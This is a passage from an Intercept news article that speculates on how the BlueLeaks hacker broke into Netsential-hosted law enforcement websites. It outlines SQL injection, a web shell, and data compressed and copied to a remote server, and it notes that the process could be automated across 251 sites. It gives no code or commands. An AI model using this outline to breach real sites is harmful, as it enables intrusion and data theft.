• The hacktivist found a SQL injection vulnerability, and then used it to create a web shell.
• Using the web shell, they uploaded tools: 7-Zip and PuTTY.
• They used 7-Zip to compress all of the data they wanted to exfiltrate.
• They used PuTTY to copy this hacked data to a remote server they controlled.

To be clear, I’m not sure that this is what the BlueLeaks hacker actually did or not. I have no inside knowledge; this is just my best guess based on the available evidence.

And because all of these websites run Netsential’s custom, insecure web app code, this process would likely be the same to hack any of them. In fact, it could even be automated to save time, allowing the hacker to compromise all 251 websites and exfiltrate all of the data from them in a single Saturday evening.

For the record: I’m an adviser for DDoSecrets, the transparency collective that received the BlueLeaks data — from a source identifying with the hacktivist collective Anonymous — and then published it.

The post Law Enforcement Websites Hit by BlueLeaks May Have Been Easy to Hack appeared first on The Intercept.